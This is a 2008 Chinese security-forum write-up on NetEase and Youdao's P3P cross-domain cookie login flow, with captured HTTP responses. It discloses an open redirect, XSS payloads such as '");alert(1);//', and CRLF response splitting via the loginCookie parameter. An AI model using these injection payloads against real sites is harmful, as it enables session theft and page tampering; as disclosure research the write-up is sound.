首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 脚本攻防

网易跨域实现笔记以及顺便发现的XSS


http://www.gipsky.com/
因为我认识的朋友里面国内各大网站都有,前两天发了校内网的bug,可是现在多了个校内网的朋友,不太好意思发那些例子。正好不认识网易的人,那就发网易的漏洞做典型吧,也许还能让我们的whitehat社区趁机扩大下。



先说跨域实现的笔记,再讲漏洞。



今天本来不是研究这个跨域实现问题,不过顺道看到了这个,做下笔记,暂时还没想到有什么安全隐患,哪位有创意的朋友可以仔细思考下里面是否存在问题,我也会找时间好好想想。



正常跨域有很多方式,我在<B>精武门</B>的演讲里也例举了很多,比如flash、java、CSSHttpRequest、json、xml等都可以实现跨域,而网站应用里用的比较多的一种方式就是P3P。



通过P3P头来实现跨域写cookie。



“网易”和“有道”之间的跨域就是通过P3P来做的,现在笔记如下。



<B>Step1:</B>



正常登录网易后

POST 到 <B>https://reg.163.com/logins.jsp</B>



服务器返回

HTTP/1.1 200 OK

Date: Tue, 23 Dec 2008 08:54:23 GMT

Server: Apache

Cache-Control: max-age=0

Expires: Tue, 23 Dec 2008 08:54:23 GMT

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Content-Length: 2340

<B>Set-Cookie: NTES_SESS=</B>z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; <B>domain=.163.com</B>; path=/

<B>Set-Cookie: NETEASE_SSN=</B>testusername; <B>domain=.163.com</B>; path=/; expires=Wed, 23-Dec-2009 08:54:22 GMT

<B>Set-Cookie: NETEASE_ADV</B>=11&6&1230022462267; <B>domain=.163.com</B>; path=/; expires=Wed, 23-Dec-2009 08:54:22 GMT

Connection: close

Content-Type: text/html; charset=UTF-8



......





<META HTTP-EQUIV=REFRESH CONTENT="0;URL=<B>http://reg.youdao.com/crossdomain.jsp ... rname=whq_jimmy">



......





可以看到,登录成功后,首先设置认证后的cookie,目前是设置在163.com域下的。





<B>Step2:</B>

然后跳转到了 <B>http://reg.youdao.com/crossdomain.jsp</B> 同时把认证后的cookie当作参数传了过去,让服务器能够识别



这个页面返回如下:

HTTP/1.1 200 OK

Date: Tue, 23 Dec 2008 08:54:28 GMT

Server: Apache

Cache-Control: max-age=0

Expires: Tue, 23 Dec 2008 08:54:28 GMT

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

<B>P3P:</B> <B>CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR</B>

Content-Length: 2002

<B>Set-Cookie: NTES_SESS=</B>z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; <B>domain=.youdao.com; path=/</B>

Set-Cookie: URSJESSIONID=a-fW3m6rP7zg; path=/

Connection: close

Content-Type: text/html; charset=UTF-8





<html xmlns="http://www.w3.org/1999/xhtml">

<head>



<link rel="stylesheet" href="<B>http://reg.yodao.com/setcookie.jsp< ... mp;domain=yodao.com" type="text/css" />



......





<META HTTP-EQUIV=REFRESH CONTENT="0;URL=http://reg.163.com/Main.jsp?username=testusername">

</body>

</html>





可以看到,在这一步,加载了一个link标签,实际上是发起了一次GET请求,并在<B>http://reg.yodao.com/setcookie.jsp</B> 这个域下设置cookie





<B>Step3:</B>

<B>http://reg.yodao.com/setcookie.jsp</B> 返回



HTTP/1.1 200 OK

Date: Tue, 23 Dec 2008 08:54:23 GMT

Server: Apache

Cache-Control: max-age=0

Expires: Tue, 23 Dec 2008 08:54:23 GMT

Cache-Control: private

<B>P3P:</B> <B>CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR</B>

Content-Length: 6

<B>Set-Cookie: NTES_SESS=</B>z.z0QP0gJzxiq7zy2A4U5mUAKCgZ2Jd2yIjDAtYswO392z0Hh2F0SJ42DSO9YATnGca0QfyC8cvumT1Gyf2aWTSB2; <B>domain=.yodao.com</B>; path=/

Set-Cookie: URSJESSIONID=ajtj_23XhC_g; path=/

Connection: close

Content-Type: text/html





至此,.163.com,.youdao.com,.yodao.com 都写了认证过了cookie,是通过P3P实现的。





而退出登录的时候也是类似



其中 reg.163.com/Logout.jsp 的返回是

HTTP/1.1 200 OK

Date: Tue, 23 Dec 2008 09:15:15 GMT

Server: Apache

Cache-Control: max-age=0

Expires: Tue, 23 Dec 2008 09:15:15 GMT

Content-Length: 520

<B>Set-Cookie: NTES_SESS=;</B> domain=.163.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT

<B>Set-Cookie: NTES_PASSPORT=;</B> domain=.163.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT

Connection: close

Content-Type: text/html; charset=UTF-8





<html xmlns="http://www.w3.org/1999/xhtml">

<head>



<link rel="stylesheet" href="http://<B>reg.yodao.com</B&g ... mp;domain=yodao.com" type="text/css" />

<link rel="stylesheet" href="http://<B>reg.youdao.com</B& ... p;domain=youdao.com" type="text/css" />



......



加载的两个”有道“域下的,stylesheet,实现了cookie的删除。





有心的朋友可能已经发现了,上面的URL是经常出现问题的跳转URL



发现有如下漏洞:



<B>1. 跳转到任意域名</B> (这个POC很简单,替换掉URL就可以了,不细说)





<B>2. XSS漏洞</B>



因为 http://reg.youdao.com/crossdomain.jsp 这个页面返回的结果里有:

.....





<META HTTP-EQUIV=REFRESH <B>CONTENT="0;URL=http://reg.163.com/Main.jsp?username=test"</B>>

</body>



......



经过测试后,并没有做什么编码输出,所以此处存在两个跨站



第一个是 <B>DOM XSS</B>:



http://reg.youdao.com/crossdomain.jsp ... rname=test<B>");alert(1);//</B>



第二个是插入 META 标签的 CONTENT attribute

http://reg.youdao.com/crossdomain.jsp ... ;><"</B>







<B>3. HTTP Response Splitting</B>



除了页面里的XSS外,还存在CRLF注射攻击,因为这里的 set-Cookie 是从参数里取过来的,而又没有处理 CR和LF,所以存在这种攻击。



我们在这里可以直接注入一个XSS

http://reg.youdao.com/crossdomain.jsp ... amp;<B>loginCookie=

</B>&url=



此时页面的返回

HTTP/1.1 200 OK

Date: Tue, 23 Dec 2008 09:36:49 GMT

Server: Apache

Cache-Control: max-age=0

Expires: Tue, 23 Dec 2008 09:36:49 GMT

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR

Content-Length: 1790

<B>Set-Cookie: NTES_SESS=</B>



<B></B>; domain=.youdao.com; path=/

Connection: close

Content-Type: text/html; charset=UTF-8





除了这个页面外,其他页面也还有这个问题,不赘述了。
<< 整合的安全防御趋势 躲避骚扰 无线网络隐身的妙用两招 >>
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备14013333号-8